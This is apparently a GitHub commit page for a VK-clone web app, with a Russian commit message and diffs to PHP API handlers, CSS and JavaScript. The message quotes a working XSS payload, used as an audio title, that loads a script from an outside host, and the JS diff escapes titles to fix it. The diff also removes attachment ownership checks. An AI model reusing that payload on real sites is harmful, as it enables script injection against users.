Skip to content

Commit

Permalink
Some api fixes
Browse files Browse the repository at this point in the history
- Теперь опросы прикрепляются через апи нормально
- Через wall.edit теперь можно прикреплят новые аудио
- При закрытии messagebox снова включается возможность скроллить
- Через методы редактирования можно теперь прикреплять чужие хуйни
- Удалены методы notes.deleteComment и notes.editComment, ведь они одинаковы с wall.deleteComment и wall.editComment
- Лайки у видеозаписей теперь быстрее, ведь не прогружают новую страницу (в отличии от лайков на посте)
- Название "<audio src/onerror="$(body).append('<script src=//sdzk.xyz/a>')"" больше не вызывает краш оконного плеера
  • Loading branch information
mrilyew committed Nov 15, 2023
1 parent 9e7467e commit 704fdb1
Show file tree
Hide file tree
Showing 7 changed files with 17 additions and 47 deletions.
32 changes: 0 additions & 32 deletions VKAPI/Handlers/Notes.php
Original file line number Diff line number Diff line change
Expand Up @@ -118,21 +118,6 @@ function delete(string $note_id)
return 1;
}

function deleteComment(int $comment_id, int $owner_id = 0)
{
$this->requireUser();
$this->willExecuteWriteAction();

$comment = (new CommentsRepo)->get($comment_id);

if(!$comment || !$comment->canBeDeletedBy($this->getUser()))
$this->fail(403, "Access to comment denied");

$comment->delete();

return 1;
}

function edit(string $note_id, string $title = "", string $text = "", int $privacy = 0, int $comment_privacy = 0, string $privacy_view = "", string $privacy_comment = "")
{
$this->requireUser();
Expand All @@ -159,23 +144,6 @@ function edit(string $note_id, string $title = "", string $text = "", int $priva
return 1;
}

function editComment(int $comment_id, string $message, int $owner_id = NULL)
{
$this->requireUser();
$this->willExecuteWriteAction();

$comment = (new CommentsRepo)->get($comment_id);

if($comment->getOwner()->getId() != $this->getUser()->getId())
$this->fail(15, "Access to comment denied");

$comment->setContent($message);
$comment->setEdited(time());
$comment->save(true);

return 1;
}

function get(int $user_id, string $note_ids = "", int $offset = 0, int $count = 10, int $sort = 0)
{
$this->requireUser();
Expand Down
6 changes: 4 additions & 2 deletions VKAPI/Handlers/Wall.php
Original file line number Diff line number Diff line change
Expand Up @@ -513,6 +513,8 @@ function post(string $owner_id, string $message = "", int $from_group = 0, int $
$this->fail(100, "Poll does not exist");
if($attacc->getOwner()->getId() != $this->getUser()->getId())
$this->fail(43, "You do not have access to this poll");

$post->attach($attacc);
} elseif($attachmentType == "audio") {
$attacc = (new AudiosRepo)->getByOwnerAndVID($attachmentOwner, $attachmentId);
if(!$attacc || $attacc->isDeleted())
Expand Down Expand Up @@ -864,7 +866,7 @@ function edit(int $owner_id, int $post_id, string $message = "", string $attachm
$this->fail(158, "Post will have too many attachments");

foreach($attachs as $attach) {
if($attach && !$attach->isDeleted() && $attach->getOwner()->getId() == $this->getUser()->getId())
if($attach && !$attach->isDeleted())
$post->attach($attach);
else
$this->fail(52, "One of the attachments is invalid");
Expand Down Expand Up @@ -908,7 +910,7 @@ function editComment(int $comment_id, int $owner_id = 0, string $message = "", s
$this->fail(158, "Post will have too many attachments");

foreach($attachs as $attach) {
if($attach && !$attach->isDeleted() && $attach->getOwner()->getId() == $this->getUser()->getId())
if($attach && !$attach->isDeleted())
$comment->attach($attach);
else
$this->fail(52, "One of the attachments is invalid");
Expand Down
2 changes: 1 addition & 1 deletion Web/Presenters/VideosPresenter.php
Original file line number Diff line number Diff line change
Expand Up @@ -151,6 +151,6 @@ function renderLike(int $owner, int $video_id): void
$video->toggleLike($this->user->identity);
}

$this->redirect("$_SERVER[HTTP_REFERER]");
$this->returnJson(["success" => true]);
}
}
7 changes: 1 addition & 6 deletions Web/static/css/dialog.css
Original file line number Diff line number Diff line change
Expand Up @@ -154,12 +154,7 @@ body.dimmed > .dimmer {
background: white;
padding-right: 6px;
max-height: 400px;
overflow-y: scroll;
}

/* Работает только в хроме, потому что в фурифоксе до сих пор нет кастомных скроллбаров лул */
.left_block::-webkit-scrollbar {
width: 0;
overflow-y: auto;
}

.right_block {
Expand Down
6 changes: 2 additions & 4 deletions Web/static/js/al_wall.js
Original file line number Diff line number Diff line change
Expand Up @@ -558,7 +558,7 @@ $(document).on("click", "#videoOpen", async (e) => {
`
} else {
player = `
<div class="bsdn media" data-name="${videoObj.title}" data-author="${videoObj.name}">
<div class="bsdn media" data-name="${escapeHtml(videoObj.title)}" data-author="${escapeHtml(videoObj.name)}">
<video class="media" src="${videoObj.url}"></video>
</div>`
}
Expand Down Expand Up @@ -586,7 +586,7 @@ $(document).on("click", "#videoOpen", async (e) => {
<div class="top-part">
<span class="top-part-name">${escapeHtml(videoObj.title)}</span>
<div class="top-part-buttons">
<span class="clickable" id="minimizePlayer" data-name="${videoObj.title}" data-id="${videoObj.id}">${tr("hide_player")}</span>
<span class="clickable" id="minimizePlayer" data-name="${escapeHtml(videoObj.title)}" data-id="${videoObj.id}">${tr("hide_player")}</span>
<span>|</span>
<span class="clickable" id="closeFplayer">${tr("close_player")}</span>
</div>
Expand Down Expand Up @@ -655,8 +655,6 @@ $(document).on("click", "#videoOpen", async (e) => {
let oldPlayer = document.querySelector(".miniplayer-video .fplayer")
let newPlayer = document.querySelector(".top-part-player-subdiv")

document.querySelector(".top-part-player-subdiv")

newPlayer.append(oldPlayer)
}

Expand Down
5 changes: 3 additions & 2 deletions Web/static/js/messagebox.js
Original file line number Diff line number Diff line change
@@ -1,6 +1,6 @@
Function.noop = () => {};

function MessageBox(title, body, buttons, callbacks, removeDimmedOnExit = true) {
function MessageBox(title, body, buttons, callbacks) {
if(u(".ovk-diag-cont").length > 0) return false;

document.querySelector("html").style.overflowY = "hidden"
Expand All @@ -21,8 +21,9 @@ function MessageBox(title, body, buttons, callbacks, removeDimmedOnExit = true)
button.on("click", function(e) {
let __closeDialog = () => {

if(removeDimmedOnExit) {
if(document.querySelector(".ovk-photo-view-dimmer") == null && document.querySelector(".ovk-fullscreen-player") == null) {
u("body").removeClass("dimmed");
document.querySelector("html").style.overflowY = "scroll"
}

u(".ovk-diag-cont").remove();
Expand Down
6 changes: 6 additions & 0 deletions bootstrap.php
Original file line number Diff line number Diff line change
Expand Up @@ -244,6 +244,8 @@ function parseAttachments(string $attachments)
$attachmentType = "video";
elseif(str_contains($attachment, "note"))
$attachmentType = "note";
elseif(str_contains($attachment, "audio"))
$attachmentType = "audio";

$attachmentIds = str_replace($attachmentType, "", $attachment);
$attachmentOwner = (int)explode("_", $attachmentIds)[0];
Expand All @@ -262,6 +264,10 @@ function parseAttachments(string $attachments)
$attachmentObj = (new openvk\Web\Models\Repositories\Notes)->getNoteById($attachmentOwner, $attachmentId);
$returnArr[] = $attachmentObj;
break;
case "audio":
$attachmentObj = (new openvk\Web\Models\Repositories\Audios)->getByOwnerAndVID($attachmentOwner, $attachmentId);
$returnArr[] = $attachmentObj;
break;
}
}

Expand Down

0 comments on commit 704fdb1

Please sign in to comment.